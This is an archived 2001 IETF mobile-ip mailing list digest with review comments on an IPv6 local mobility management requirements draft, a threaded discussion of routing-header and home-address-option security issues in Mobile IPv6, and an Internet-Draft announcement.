Content-ID:	<20011114144757.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-roe-mobileip-updateauth-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-roe-mobileip-updateauth-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011114144757.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 09:07:03 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23938
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 09:07:03 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA02779;
	Thu, 15 Nov 2001 06:05:37 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA17550;
	Thu, 15 Nov 2001 06:04:57 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFDueLS016510
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 05:56:40 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFDueOG016509
	for mobile-ip-dist; Thu, 15 Nov 2001 05:56:40 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFDuaLS016502
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 05:56:36 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id FAA12138
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 05:56:37 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id GAA13120
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 06:56:47 -0700 (MST)
Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fAFDuYf22452
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 14:56:35 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Thu Nov 15 14:56:30 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ8WDKS>; Thu, 15 Nov 2001 14:56:30 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C068@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Cc: Carl Williams <carlw@docomolabs-usa.com>
Subject: RE: [mobile-ip] LMM for IPv6 requirements draft (new revision .01
	)
Date: Thu, 15 Nov 2001 14:56:17 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Hi James, 



Also, I'd like to register an objection to the following wording in
Section 3.9:

   These enhancements are intended to minimize handoff latency
   and reduce packet loss.  LMM and FMIP protocols MUST BE able
   to be deployed independently of each other.  However, when
   the two classes of protocols co-exist, LMM and FMIP MUST
   maintain compatibility in their signaling interactions for
   fulfilling complementary roles with respect to each other.

This wording essentially rules out any solution that would combine with
fast handoff. I think that is a mistake because it may be possible to
obtain a solution that is simple and easy to deploy and implement which
is tightly bound with one of the fast handoff algorithms. This is not to
say that it should be the only solution, so that if another fast handoff
algorithm were deployed, another LMM solution might be required.

I think what this requirement is getting at is that there must be an LMM
solution that is available regardless of the handoff algorithm. The
current text does not cover standard MIPv6, so, given the current text,
it would be possible to develop a LMM

=> I don't really see a problem with the requirement. 
All it says is that the two solutions MUST interwork, 
which is a good thing. If the two solutions are actually
one, which is what I think you want to allow ;), then
by default they can interwork. 


3.9 Support for MIPv6 Handover.

   An LMM solution MUST be available for all standardized MIPv6 handover
algorithms. The signaling interactions
   between the handover algorithms and LMM MUST maintain compatibility.
This requirement SHOULD NOT be interpreted
   as ruling out useful optimizations of LMM and MIPv6 handoff that
simplify the implementation or deployment of LMM or
   MIPv6 handover.

=> This is a bit confusing, especially the last sentence. 
   I don't get the advantage between this one and the one 
   in the doc. 

Cheers,
Hesham



----- Original Message -----
From: "Cedric Westphal" <cedric@iprg.nokia.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Carl Williams" <carlw@docomolabs-usa.com>
Sent: Tuesday, November 13, 2001 6:18 PM
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision
.01)


> great work!
> thanks for putting together the LMM requirements draft, and I have a
> couple comments.
> I organize them as: comments on the reqs, new reqs, and editorial
> comments.
>
> ----------------------
> Comments on the requirements
> ---------------------
> 1.2 Principles of the LMM
>
> It seems to me that this subsection belongs to the solution space.
"This
> is done
> by [...] assigning two care-of addresses..." and other sentences like
> this one describe how to implement LMM. This should not be in a req
> draft. The principles should be at a concept level. Or the whole
> paragraph should
> be scrapped. (Same issue in 2.0 Terminology:  the LMA is defined in
> solution space,
> and not concept space).
>
> 3.3 Induced LMM functional requirements
> ("Functional requirements induced by LMM" would be better0
>
> 3.3.1 and 3.3.3: I do not see the difference. Please merge or clarify.
>
> 3.4 Scalability
>
> Shouldn't 3.3.2 be filed in there?
>
> 3.4.1:  "Scalability guarantees to support millions of nodes for an
AD"
> Is this about scaling, or about supporting a large number of users?
> This, unlike
> other subsection headings, is not phrased as a requirement. I'd
replace
> it with
> the first sentence, but then again, I don't know what the scaling of a
> _framework_
> means. Get rid of number references. There is a billion cell phone
users
> on this
> earth today, so millions are already not enough. There are two
> requirements in the
> paragraph anyway (and they contradict: one says "it should scale", the
> other
> says "it should be distributed so as to avoid scaling effects").
> Also, replace "linearly" with "at most linearly", as we can accept
> better than linear
> performance.
>
> 3.4.4: The last MUST NOT seems hard to enforce. It is expected, and I
> don't think
> it is bad, that the amount of signaling would increase as the number
of
> users, as the
> Local Domain expands in size.
>
> 3.4.7 Technically, it is not triangular routing, as uplink is
optimized
> and downlink is
> triangular. Actually, it assumes that "all traffic MUST go through the
> LMM agent"
> (MUST emphasis mine), uplink and downlink. More on this later.
>
> 'The LMM framework SHOULD support optimal placement...LMM"
> This is an implementation issue.  Should be removed.
>
> 3.4.8 link layer
> I am confused here by this requirement. Is LMM a MIPv6 extension, as
> described in
> the document? So why does it care about L2 in general, and L2
> optimizations in particular?
>
> 3.5.1/2/3 Add a mention that if MUST NOT increase is the least
expected,
> SHOULD decrease
> would not be too bad either
>
> 3.5.4 Should be removed or clarified. Who is detecting the movement
> between seperated domains?
> The MN, the CNs, the HA, the LMA? Is it a domain addressing issue
(which
> should be
> left out here). The sentence: "The reason for this ...is that there is
a
> need...for the mechanism
> to work..." is pure casuistic. If it is a non-LMM mechanism, what is
it
> doing here? Etc.
>
> 3.7 LMM disrupts IP routing by adding host routes. Should be rephrased
> as: LMM MUST
> NOT disrupt IP routing outside of the LM domain.
>
> 3.8 Last paragraph "To avoid concentration....populate the
> administrative domain". Remove the
> paragraph. There is no concern that MNs mobility patterns would be
> affected or influenced
> by the LMM-agents (btw, it is LMA in the terminology). Is this
paragraph
> saying that
> MN will flock to an access point close to a LMA? Do cell phone users
> aggregate in front
> of building carrying base stations?
>
> 3.12.1 is redundant with 3.4.5 (and 3.4.2 to some extent). As a
general
> comment, reliability is
> dealt in both 3.4 and 3.12, maybe both sections should be merged.
>
> 3.14 Quality
>
> What exactly is meant by Quality. Is it QoS, then say so. Otherwise,
> clarify.
>
> ------------------------------------
> Missing reqs
> -----------------------------------
> Even though you request that no new reqs be provided, let me make the
> case for one:
>
> 3.15 QoS
>
> The LMM MUST interwork with the QoS schemes to:
> 3.15.1-hide the mobility of the MN to its peer by avoiding end-to-end
> QoS signaling.
> 3.15.2-facilitate the new provisioning of both uplink and downlink QoS
> after a handoff
>
> 1- means that the uplink traffic MUST be tunneled through the LMA.
> (this is assume in the document, it must be explicited. Current LMM
> proposals
> (HMIP, RegRegv6) have an uplink that is not tunneled through the LMA.
> This allows the CN to be aware of the local mobility of the MN by
> looking at
> the source IP address.) This draft makes the assumption that the
> uplink traffic is tunneled through the LMA (section 3.4.7). It also
> mention
> provisioning in 1.3 as one of the goals of the LMM.
>
> Having an optimized (non-triangular) uplink means that in case of QoS
> renegotiation
> after handoff end-to-end for the uplink, the location is not hidden to
> the CN. It also introduces
> delays and extra signaling in having to renegotiate e2e. By having a
> potentially
> distinct uplink and downlink, it introduces the need for distinct QoS
> signaling uplink
> and downlink for re-establishment after handoff. On the other hand, by
> having
> both uplink and downlink going through the LMA, the handoff implies
> changing
> on the paths only below the LMA. One QoS re-establishment request can
be
> sent
> to the LMA for both up and downlink.
>
> 2-means that LMM and QoS (like LMM and IP routing) MUST work
> hand-in-hand.
>
>
> -----------------------------------
> Editorial comments:
> -----------------------------------
> Abstract:
> -add a sentence about relationship between administration domain
> and LM domain, or some introduction about what is LM domain.
> -"The identified requirement listed": get rid of listed, it's
redundant.
>
> -"They are intended to be used as....schemes": split in two or three
> clear sentences.
>
> 1.0 Introduction:
> -"Mobile IPv6 is presented with a number...". replace with: 'is
facing',
>
> as Mobile IPv6 is not presented in this document.
>
> 1.1 Motivation:
> -"It is well established that...loss[1]". Why quoting a paper not yet
> published if it
> is well established? Get rid of the quote, or quote a well-established
> result.
> -typo in "with its curent mobility bindings that YIELD".
> -"an interdomain Binding Update signal". Replace with "Binding
Updates"
> -Replace all both "it's" and the "it?s" with "its"
> -place the acronym "(BUs)" after "Binding Update", a couple lines
> higher,
> and not "mobility binding".
> -again, why quote [1] to say that the MN time at one AR has to be
longer
> than
> a RTT if it hopes to receive a packet.
>
> 1.2 Principles of the LMM:
> -First two sentences are redundant. Chop one.
> -"This is achieved by introducing LMM Agens....similar to a HA": this
> sentence should
> disappear, as it is solution space. Replace with something like:
> "A LMM agent concept is introduced in this draft. LMMA are the logical
> entities
> hiding the mobility within the LMMD to the outside of the LMMD" and
> modify the end
> of the paragraph accordingly.
> -this paragraph needs more editing, but I advocate to suppress it
> altogether. "regional
> care-of (RCoA) address" replaced by "regional care-of address", etc.
>
> 1.3 Consideration points for LMM design:
> -"principals" replace with "principles"
> -replace "consideration points (goals)" with "goals"
> -"when designing an LMM framework": this is not design nor framework.
> "when specifying
> LMM reqs".
> -replace "reducing" in the item list with "reduce" twice, or make all
> other introductory verbs in
> the items in the participle "ing" form.
> -the last paragraph ("Identifying..." till "...inpractice today")
> is patting itself on the back, on how "solid" the reqs in this draft
> are, "robust",
> "essential", and a sounde "foundation". While it is true, and the team
> should be thanked for
> the good work, maybe the self congratulations should be left out.
>
> 2.0 Terminology:
>
> LMM: replace "the true peers entity" with "its peers"
>
> 3.3.1 The last sentence: "this is so, since experience ...convergence"
> should be removed or rephrased.
> It is true that it is better to leave routing to routers. However, LMM
> is one big contradiction
> to this principle.
>
> 3.3.2 Maybe add "at most linearly", as "linearly" is good, but better
> than linear is even better.
>
> - "This would involve MIP-specific eliminated by any mobility
management
> protocol including
> routing state as binding caches in addition to standard routing table
> host routes. While host routes cannot be base IP mobility, any LMM
> protocol MUST keep the number of host routes to a minimum."
> This sentence should be reworded. At least, I cannot make sense of it.
>
> 3.3.5 Again, replace "true peer entities" with "peers"
>
> 3.4.5 replace " effected in the routing of the ...applied" with "in
the
> routing of the LM domain".
>
> 3.4.6 Make two sentence of the first paragraph "Any..compression",
> "Transfer of compressor...disruption".
>
> 3.4.8 replace "doesn't" with "does not"
>
> 5.0 References
> [1] Replace 'localised' with 'localized'
> [3] get rid of question marks
>
> ---------------------------------------------------
> That's about it.
> Thanks again for putting it together, hope you'll find my comments
> useful,
>
> Cedric.
>
>
>
>
>
>
>
>


From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 12:07:11 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA04455
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 12:07:11 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA24187;
	Thu, 15 Nov 2001 09:05:52 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA22995;
	Thu, 15 Nov 2001 09:05:02 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFGumLS016857
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 08:56:48 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFGum3L016856
	for mobile-ip-dist; Thu, 15 Nov 2001 08:56:48 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFGuiLS016849
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 08:56:44 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA09348;
	Thu, 15 Nov 2001 08:56:45 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA09832;
	Thu, 15 Nov 2001 09:56:53 -0700 (MST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fAFGuf011202;
	Thu, 15 Nov 2001 18:56:41 +0200
Date: Thu, 15 Nov 2001 18:56:41 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
cc: <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Comments on draft-savola-ipv6-rh-ha-security-00.txt
In-Reply-To: <Roam.SIMC.2.0.6.1005585777.15721.nordmark@bebop.france>
Message-ID: <Pine.LNX.4.33.0111141450370.28922-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Sorry for taking a while.  The comments took some chewing and at the same 
time, I was revising the draft.  Depending on your (hopefully) further 
comments, I should be able to put up a new version very soon.

On Mon, 12 Nov 2001, Erik Nordmark wrote:

Erik, thanks for very detailed comments.  It'll help in making the 
issues clearer.

> First a terminolgy question: in section 2 and elsewhere you use
> the term "reflected DoS attacks" in a way that seems different than the
> Paxon paper. http://www.aciri.org/vern/papers/reflectors.CCR.01/index.html
> In particular, I think the following a forward routing header where there
> is no information loss is quite different than X sending a TCP SYN packet
> with source address A to B in order to get SYN ACK packets sent from B to A.
> Do you have a definition of "reflected DoS attacks" that can help clear this
> up? Perhaps I'm confused.

Yes, my terminology was different (actually I hadn't even read Vern's 
paper) -- I used it in a more generic sense.  For me, reflected attack was 
anything that used third parties to get at the final destination.  Would 
there be a better term for this; I couldn't think of any?

I'll add a terminology section with this, ingress and egress filtering at 
least.

> In section 2.2 it says "first the trails would lead to reflector2"
> but wouldn't the logs indicate the source (spoofed) as the likely
> offender. Then deeper analysis will show that there was a routing header
> involved.

Yes.  I skipped a few steps here, because tracing obviously spoofed 
addresses is of no use, and "backtracking" hop-by-hop (unless routing 
header is present) is the only way to get on the real trails.  I'll 
clarify this.

Now I just thought of another way a flooder could lay false trails: he 
could insert routing header entries with segments left=0 at the source, 
and the destination _might_ believe the packet went through all of those 
intermediate routers.  Thus using the existance of routing header is not 
enough proof.  I'll add this to the draft as well.
 
> In 2.3 it talks about using "publicly known routers". Another possibility
> is to use anycast addresses that identify sets of routers (like all
> routers for an ISP) thereby identifying larger topological clouds than a single
> router. I think such usage is more likely than listing individual routers.

Good point, I'll note that.  
 
> As others have pointed out I think there are some issues
> with restricting the forwarding to "interface-local" in section 2.4.1.

These are often "implementation dependant" issues, that is, whether MIPv6 
is treated as a "virtual interface as a whole" or a feature of an address, 
interface, node or whatnot.

> I agree that there are special cases like security gateways that have
> "inside" and "outside" where in general you need to make sure
> that routing headers can't be used to skip from one "domain" to another.

True.

> But for regular hosts it is fine to allow any interface.

This one is debateable.

> In order to prevent link-locals and site-locals to "leak" 
> you need the zone restriction, but one could argue that normal hosts
> wouldn't have a security issue here.

I think link/site-local etc. restriction is essential.  

I will add another host-based approach (more general "administrator 
policy" of which a special case would be "if final destination is always 
known to be home address, it's always okay").
 
> Section 2.4.3 talks about a more radical approach to by using routing
> header type. I think a cleaner and radical approach would be to define
> a new extension header type for what is essentially tunneling with the
> source address supressed.

I don't really see any benefit in this, except saving like 20 bytes by 
skipping source address and a few other fields that would have been 
present in the IPv6 header.

Or were you suggesting, kind-of, "Home Address Option" -type Extension 
Header?  Replace destination X with Y, but additionally subject it to some 
specific tests?

A (small) gain of non-tunneling mechanisms include, at least, a more
realistic view of the network as everyone does not seem to be one hop
away.

Is there something I missed?

> It might be helpful if Section 3 also went into issues that appear
> if ITRACE is used.

Nice.  I hadn't thought of itrace interaction :-).

There are two issues:

 - home address option and reverse itrace messages
 - routing header and normal itrace messages

(Routing Header could be used to lure at least some part of the messages
to some unsuspecting "relay" routers which don't know what to do with
them.  I'll probably add a mention of it into the threats section.)
 
> Without a home address option a reflector attack can be
> done by sending
> 	src = victim
> 	dest = reflector
> This will cause reverse ITRACE messages to be sent to victim from the
> ITRACE capable routers between the attacker and the reflector, thus the
> victim can use this to traceback towards the attacker even though its
> address is not in the packets.

Note: reverse itrace is at:
http://www.research.att.com/lists/ietf-itrace/2000/09/msg00044.html

if there was a draft, it has long since expired.  I'm not sure whether it 
makes sense to dig very deep into this, as it appears current itrace 
specification does not include this reverse possibility.  There are some 
problems with it anyway (the source being assumed to be spoofed and 
all...).

I'd like to hear your opinion whether this reverse itrace is an issue to 
be concerned about.

> Using the home address option the attacker can instead send
> 	src = attacker (gets by ingress filtering)
> 	dst = reflector
> 	HAO = victim
> In this case the reverse itrace messages go to the attacker i.e. the victim
> does not see them.
>
> Once the packet is reflected the "attacker" IP address is lost:
> 	src = reflector
> 	dst = victim
> 
> Thus HAO can be used to lauch attacks that reverse ITRACE can't track down.

Yes, if itracing of the source is possible.

> Section 3.4.2 says
>    As the address to be compared against is the source address, not
>    destination, without keeping state filtering could be performed if
>    and only if:
> and I'm having a hard time parsing the sentence.

Thanks.  I've replaced:

--8<--
   As the address to be compared against is the source address, not
   destination, without keeping state filtering could be performed if
   and only if:

     - local mobile nodes never roam outside of the internal network
       performing filtering.
--8<--

With:
--8<--
   Without keeping state filtering could be performed only if:

     - local mobile nodes never roam outside of the internal network
       performing filtering.
--8<--

This may be a bit clearer now, at least from the parsing point :-).  I 
could also elaborate how I got to that conclusion, but it's more or less a 
reverse (destination/source address) from the upper section, so I skipped 
it for brevity.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords












From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 12:10:13 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA04729
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 12:10:12 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA25815;
	Thu, 15 Nov 2001 09:08:43 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA23676;
	Thu, 15 Nov 2001 09:08:11 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFGxwLS016874
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 08:59:58 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFGxwRv016873
	for mobile-ip-dist; Thu, 15 Nov 2001 08:59:58 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFGxrLS016866
	for <mobile-ip@sunroof.eng.Sun.COM>; Thu, 15 Nov 2001 08:59:54 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAFGxoq11070
	for <mobile-ip@sunroof.eng>; Thu, 15 Nov 2001 17:59:51 +0100 (MET)
Date: Thu, 15 Nov 2001 17:58:59 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: [mobile-ip] I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
To: mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <200111151204.HAA18353@ietf.org>
Message-ID: <Roam.SIMC.2.0.6.1005843539.7802.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

Here is a pointer to a mildly provocative I-D suggesting to
use tunneling instead of home address options and routing headers
for your perusal.

   Erik

>----------------Begin Forwarded Message----------------<

Date: Thu, 15 Nov 2001 07:04:40 -0500
From: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-nordmark-mobileip-mipv6-hindsight-00.txt
To: IETF-Announce@, @

A New Internet-Draft is available from the on-line Internet-Drafts directories.


	Title		: MIPv6: from hindsight to foresight?
	Author(s)	: E. Nordmark
	Filename	: draft-nordmark-mobileip-mipv6-hindsight-00.txt
	Pages		: 14
	Date		: 14-Nov-01
	
This document captures the authors personal opinions and is intended
to serve as input to the discussion in the Mobile IP Working Group.
It proposes several, in may cases completely independent, things
which might be deemed radical changes to Mobile IPv6 based on
watching Mobile IPv6 evolve over the last 5 years.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-nordmark-mobileip-mipv6-hindsight-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-nordmark-mobileip-mipv6-hindsight-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-nordmark-mobileip-mipv6-hindsight-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.
>----------------End Forwarded Message----------------<



From owner-mobile-ip@sunroof.eng.sun.com  Thu Nov 15 12:12:11 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA04945
	for <mobileip-archive@odin.ietf.org>; Thu, 15 Nov 2001 12:12:10 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA00635;
	Thu, 15 Nov 2001 10:10:38 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA24280;
	Thu, 15 Nov 2001 09:10:19 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFH2KLS016909
	for <mobile-ip-dist@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:02:20 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAFH2Kmq016908
	for mobile-ip-dist; Thu, 15 Nov 2001 09:02:20 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAFH2GLS016901
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:02:17 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA14058
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 09:02:17 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA22054
	for <mobile-ip@sunroof.eng.sun.com>; Thu, 15 Nov 2001 10:01:59 -0700 (MST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fAFH2G515463;
	Thu, 15 Nov 2001 09:02:16 -0800 (PST)
Message-ID: <009201c16df7$0e003990$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Carl Williams" <carlw@docomolabs-usa.com>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C068@Esealnt861.al.sw.ericsson.se>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Thu, 15 Nov 2001 09:00:39 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Hesham,


